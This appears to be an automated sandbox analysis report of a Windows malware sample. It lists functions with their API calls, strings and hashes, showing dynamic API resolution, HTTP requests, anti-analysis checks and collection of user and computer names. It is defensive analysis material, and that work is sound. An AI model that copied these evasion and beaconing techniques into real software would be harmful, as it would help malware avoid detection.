Opcode ID: d443029e8f2bf20fa7f914a8b34c05285ab4d42f048f177f8f76ecdda05a7ac9
Instruction ID: 36ed4f7050370553a158b7b22c21376475ef50b1b023dddfde19de5bb9778b9f
Opcode Fuzzy Hash: d443029e8f2bf20fa7f914a8b34c05285ab4d42f048f177f8f76ecdda05a7ac9
Instruction Fuzzy Hash: F2E287B9FD0320BEE2106BE17D03B243AA197A1F09FA4113BFB04792D2F5ED16545A5E

Function 00419C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,024B4D20), ref: 00419C2D
GetProcAddress.KERNEL32(74DD0000,024B4B60), ref: 00419C45
GetProcAddress.KERNEL32(74DD0000,024BCE48), ref: 00419C5E
GetProcAddress.KERNEL32(74DD0000,024BCDE8), ref: 00419C76
GetProcAddress.KERNEL32(74DD0000,024BCE00), ref: 00419C8E
GetProcAddress.KERNEL32(74DD0000,024BCE18), ref: 00419CA7
GetProcAddress.KERNEL32(74DD0000,024B9CC8), ref: 00419CBF
GetProcAddress.KERNEL32(74DD0000,024BCE60), ref: 00419CD7
GetProcAddress.KERNEL32(74DD0000,024BCE30), ref: 00419CF0
GetProcAddress.KERNEL32(74DD0000,024BCE78), ref: 00419D08
GetProcAddress.KERNEL32(74DD0000,024BCE90), ref: 00419D20
GetProcAddress.KERNEL32(74DD0000,024B4BA0), ref: 00419D39
GetProcAddress.KERNEL32(74DD0000,024B4B40), ref: 00419D51
GetProcAddress.KERNEL32(74DD0000,024B4BC0), ref: 00419D69
GetProcAddress.KERNEL32(74DD0000,024B4AA0), ref: 00419D82
GetProcAddress.KERNEL32(74DD0000,024BCEA8), ref: 00419D9A
GetProcAddress.KERNEL32(74DD0000,024EB498), ref: 00419DB2
GetProcAddress.KERNEL32(74DD0000,024B99F8), ref: 00419DCB
GetProcAddress.KERNEL32(74DD0000,024B49E0), ref: 00419DE3
GetProcAddress.KERNEL32(74DD0000,024EB468), ref: 00419DFB
GetProcAddress.KERNEL32(74DD0000,024EB5E8), ref: 00419E14
GetProcAddress.KERNEL32(74DD0000,024EB5D0), ref: 00419E2C
GetProcAddress.KERNEL32(74DD0000,024EB528), ref: 00419E44
GetProcAddress.KERNEL32(74DD0000,024B4A00), ref: 00419E5D
GetProcAddress.KERNEL32(74DD0000,024EB450), ref: 00419E75
GetProcAddress.KERNEL32(74DD0000,024EB540), ref: 00419E8D
GetProcAddress.KERNEL32(74DD0000,024EB378), ref: 00419EA6
GetProcAddress.KERNEL32(74DD0000,024EB3F0), ref: 00419EBE
GetProcAddress.KERNEL32(74DD0000,024EB588), ref: 00419ED6
GetProcAddress.KERNEL32(74DD0000,024EB300), ref: 00419EEF
GetProcAddress.KERNEL32(74DD0000,024EB408), ref: 00419F07
GetProcAddress.KERNEL32(74DD0000,024EB570), ref: 00419F1F
GetProcAddress.KERNEL32(74DD0000,024EB4C8), ref: 00419F38
GetProcAddress.KERNEL32(74DD0000,024B9708), ref: 00419F50
GetProcAddress.KERNEL32(74DD0000,024EB5A0), ref: 00419F68
GetProcAddress.KERNEL32(74DD0000,024EB420), ref: 00419F81
GetProcAddress.KERNEL32(74DD0000,024B4BE0), ref: 00419F99
GetProcAddress.KERNEL32(74DD0000,024EB3D8), ref: 00419FB1
GetProcAddress.KERNEL32(74DD0000,024B4A60), ref: 00419FCA
GetProcAddress.KERNEL32(74DD0000,024EB510), ref: 00419FE2
GetProcAddress.KERNEL32(74DD0000,024EB5B8), ref: 00419FFA
GetProcAddress.KERNEL32(74DD0000,024B4A80), ref: 0041A013
GetProcAddress.KERNEL32(74DD0000,024B4AE0), ref: 0041A02B
LoadLibraryA.KERNEL32(024EB558,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A03D
LoadLibraryA.KERNEL32(024EB318,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A04E
LoadLibraryA.KERNEL32(024EB4E0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A060
LoadLibraryA.KERNEL32(024EB4B0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A072
LoadLibraryA.KERNEL32(024EB438,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A083
LoadLibraryA.KERNEL32(024EB480,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A095
LoadLibraryA.KERNEL32(024EB330,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0A7
LoadLibraryA.KERNEL32(024EB348,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0B8
GetProcAddress.KERNEL32(75290000,024B50E0), ref: 0041A0DA
GetProcAddress.KERNEL32(75290000,024EB390), ref: 0041A0F2
GetProcAddress.KERNEL32(75290000,024E9410), ref: 0041A10A
GetProcAddress.KERNEL32(75290000,024EB4F8), ref: 0041A123
GetProcAddress.KERNEL32(75290000,024B4F20), ref: 0041A13B
GetProcAddress.KERNEL32(734C0000,024B9C00), ref: 0041A160
GetProcAddress.KERNEL32(734C0000,024B4FE0), ref: 0041A179
GetProcAddress.KERNEL32(734C0000,024B9A98), ref: 0041A191
GetProcAddress.KERNEL32(734C0000,024EB360), ref: 0041A1A9
GetProcAddress.KERNEL32(734C0000,024EB3A8), ref: 0041A1C2
GetProcAddress.KERNEL32(734C0000,024B4E80), ref: 0041A1DA
GetProcAddress.KERNEL32(734C0000,024B5040), ref: 0041A1F2
GetProcAddress.KERNEL32(734C0000,024EB3C0), ref: 0041A20B
GetProcAddress.KERNEL32(752C0000,024B5060), ref: 0041A22C
GetProcAddress.KERNEL32(752C0000,024B4DE0), ref: 0041A244
GetProcAddress.KERNEL32(752C0000,024EB678), ref: 0041A25D
GetProcAddress.KERNEL32(752C0000,024EB630), ref: 0041A275
GetProcAddress.KERNEL32(752C0000,024B4E00), ref: 0041A28D
GetProcAddress.KERNEL32(74EC0000,024B9BD8), ref: 0041A2B3
GetProcAddress.KERNEL32(74EC0000,024B9AE8), ref: 0041A2CB
GetProcAddress.KERNEL32(74EC0000,024EB600), ref: 0041A2E3
GetProcAddress.KERNEL32(74EC0000,024B4EA0), ref: 0041A2FC
GetProcAddress.KERNEL32(74EC0000,024B5080), ref: 0041A314
GetProcAddress.KERNEL32(74EC0000,024B9AC0), ref: 0041A32C
GetProcAddress.KERNEL32(75BD0000,024EB690), ref: 0041A352
GetProcAddress.KERNEL32(75BD0000,024B4F40), ref: 0041A36A
GetProcAddress.KERNEL32(75BD0000,024E93F0), ref: 0041A382
GetProcAddress.KERNEL32(75BD0000,024EB648), ref: 0041A39B
GetProcAddress.KERNEL32(75BD0000,024EB660), ref: 0041A3B3
GetProcAddress.KERNEL32(75BD0000,024B50A0), ref: 0041A3CB
GetProcAddress.KERNEL32(75BD0000,024B5020), ref: 0041A3E4
GetProcAddress.KERNEL32(75BD0000,024EB6A8), ref: 0041A3FC
GetProcAddress.KERNEL32(75BD0000,024EB618), ref: 0041A414
GetProcAddress.KERNEL32(75A70000,024B5140), ref: 0041A436
GetProcAddress.KERNEL32(75A70000,024EB6C0), ref: 0041A44E
GetProcAddress.KERNEL32(75A70000,024EB708), ref: 0041A466
GetProcAddress.KERNEL32(75A70000,024EB948), ref: 0041A47F
GetProcAddress.KERNEL32(75A70000,024EB900), ref: 0041A497
GetProcAddress.KERNEL32(75450000,024B4E40), ref: 0041A4B8
GetProcAddress.KERNEL32(75450000,024B4F60), ref: 0041A4D1
GetProcAddress.KERNEL32(75DA0000,024B4E60), ref: 0041A4F2
GetProcAddress.KERNEL32(75DA0000,024EB858), ref: 0041A50A
GetProcAddress.KERNEL32(6F090000,024B4F80), ref: 0041A530
GetProcAddress.KERNEL32(6F090000,024B4EC0), ref: 0041A548
GetProcAddress.KERNEL32(6F090000,024B4EE0), ref: 0041A560
GetProcAddress.KERNEL32(6F090000,024EB9F0), ref: 0041A579
GetProcAddress.KERNEL32(6F090000,024B4F00), ref: 0041A591
GetProcAddress.KERNEL32(6F090000,024B50C0), ref: 0041A5A9
GetProcAddress.KERNEL32(6F090000,024B4FA0), ref: 0041A5C2
GetProcAddress.KERNEL32(6F090000,024B4FC0), ref: 0041A5DA
GetProcAddress.KERNEL32(6F090000,InternetSetOptionA), ref: 0041A5F1
GetProcAddress.KERNEL32(6F090000,HttpQueryInfoA), ref: 0041A607
GetProcAddress.KERNEL32(75AF0000,024EB768), ref: 0041A629
GetProcAddress.KERNEL32(75AF0000,024E93B0), ref: 0041A641
GetProcAddress.KERNEL32(75AF0000,024EB8A0), ref: 0041A659
GetProcAddress.KERNEL32(75AF0000,024EB978), ref: 0041A672
GetProcAddress.KERNEL32(75D90000,024B5000), ref: 0041A693
GetProcAddress.KERNEL32(6F9F0000,024EB960), ref: 0041A6B4
GetProcAddress.KERNEL32(6F9F0000,024B5100), ref: 0041A6CD
GetProcAddress.KERNEL32(6F9F0000,024EB990), ref: 0041A6E5
GetProcAddress.KERNEL32(6F9F0000,024EB780), ref: 0041A6FD

Strings

HttpQueryInfoA, xrefs: 0041A5FC
InternetSetOptionA, xrefs: 0041A5E5

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
StrCmpCA.SHLWAPI(?,024E9120), ref: 00406303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,024ECDB8,00000000,00000000,00400100,00000000), ref: 00406385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D
InternetCloseHandle.WININET(00000000), ref: 004064EF
InternetCloseHandle.WININET(00000000), ref: 004064F9
InternetCloseHandle.WININET(00000000), ref: 00406503

Strings

ERROR, xrefs: 00406407
GET, xrefs: 0040637C
ERROR, xrefs: 004064C9

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: 3fba3590e5f709bd923487789c072cec83f09d76feea2036fce262c75db160c0
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: 3fba3590e5f709bd923487789c072cec83f09d76feea2036fce262c75db160c0
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 004117A0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004117C5
ExitProcess.KERNEL32 ref: 004117D1
strtok_s.MSVCRT ref: 004117E8

Strings

block, xrefs: 004117B7

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 2fed056f04860ab53dc55cf46fa0ad5f7b81b83e30ecc022536dc59065cce9ea
Instruction ID: 00bb13bb87ecd4f31d5cbb7361e66ee12f2c4d363b15aa8138e6c51e0cba8311
Opcode Fuzzy Hash: 2fed056f04860ab53dc55cf46fa0ad5f7b81b83e30ecc022536dc59065cce9ea
Instruction Fuzzy Hash: AC517DB4A10209EFCB04DFA1D954BFE77B6BF44304F10804AE516A7361D778E992CB6A

Function 00415510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,024B6258,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415857

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 004152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 0041532F
Part of subcall function 004152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 00415383
Part of subcall function 004152C0: strtok.MSVCRT(00000000,?), ref: 0041539E
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 004153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415A0C
Sleep.KERNEL32(0000EA60), ref: 00415A1B

Strings

ERROR, xrefs: 00415693
ERROR, xrefs: 004159FE
ERROR, xrefs: 0041577D
ERROR, xrefs: 00415932
ERROR, xrefs: 00415849
ERROR, xrefs: 00415636

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: ae78344d87fb29de376d8aed4e9a1f28d4e38cdf6b96ca29d5bba0b18dc789d6
Instruction ID: 0baa471f6470c30cedeccf0ca5f41b7a1b3666a88d5ff2061c329f06e4daefd3
Opcode Fuzzy Hash: ae78344d87fb29de376d8aed4e9a1f28d4e38cdf6b96ca29d5bba0b18dc789d6
Instruction Fuzzy Hash: 5BE18675910104AACB04FBB1DD52EED733DAF54314F50812EB406660D1EF3CAB9ACBAA

Function 00417500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
HeapAlloc.KERNEL32(00000000), ref: 0041760A
wsprintfA.USER32 ref: 00417640

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

:, xrefs: 0041755C
\, xrefs: 00417560
C, xrefs: 0041754C

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction ID: 2fa5a76c25c4840d12821100fc964cf287d391274576238511e757cc0c078ff1
Opcode Fuzzy Hash: ca458c9d44e2395dbd5c279e9f95348a2013c015fe5135b8dbe94f3e61db761a
Instruction Fuzzy Hash: BF41A2B5D44248ABDB10DF94DC45BEEBBB9EF08714F10019DF50967280D778AA84CBA9

Function 040A003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 040A024D

Strings

kernel32.dll, xrefs: 040A008F, 040A0095
cess, xrefs: 040A018D

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: c4baa1a36c1c88623e039b4033ffd85db8839454ea71c4ae51a53c35e0e006b6
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 2E526B74A01229DFDB64CFA8C984BACBBB1BF09304F1480D9E54DAB351DB30AA95DF15

Function 004169F0 Relevance: 10.6, APIs: 7, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,024BC9B0), ref: 004198A1
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,024BC998), ref: 004198BA
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,024BC968), ref: 004198D2
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,024BC8C0), ref: 004198EA
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,024BCBC0), ref: 00419903
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,024B6278), ref: 0041991B
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,024B4D00), ref: 00419933
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,024B4C40), ref: 0041994C
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,024BCAE8), ref: 00419964
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,024BCB00), ref: 0041997C
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,024BCD28), ref: 00419995
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,024BCCF8), ref: 004199AD
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,024B4D80), ref: 004199C5
Part of subcall function 00419860: GetProcAddress.KERNEL32(74DD0000,024BCDD0), ref: 004199DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416770: GetUserDefaultLangID.KERNEL32(?,?,00416A26,00420AEF), ref: 00416774

GetUserDefaultLCID.KERNEL32 ref: 00416A26

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,024B6258,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,024B6258,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleName__aulldiv$ComputerCreateCurrentGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 3511611419-0
Opcode ID: 777e6741428d29f3ac2eda15a5f9635963f388c94dd1b9800fe8626475fd4fd3
Instruction ID: 1c0ff58a553566d9d81a636820be0d4cb73d0efe44d476221655ae408a7450da
Opcode Fuzzy Hash: 777e6741428d29f3ac2eda15a5f9635963f388c94dd1b9800fe8626475fd4fd3
Instruction Fuzzy Hash: E1317074940208AADB04FBF2DC56BEE7339AF04344F10042EF102A61D2DF7C6986C6AE

Function 004047B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Strings

<, xrefs: 004047C9

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 116f2b94f3778adbc9308d13d48d12011aa30bb27236a404a583900fa923c872
Instruction ID: 59ffd934fb977a93d501bba2862ecb1df6a0defd032b503e5e890a78b3955a81
Opcode Fuzzy Hash: 116f2b94f3778adbc9308d13d48d12011aa30bb27236a404a583900fa923c872
Instruction Fuzzy Hash: 712149B5D00219ABDF10DFA5E849BDD7B74FF04320F008229F925A7290EB706A15CF95

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
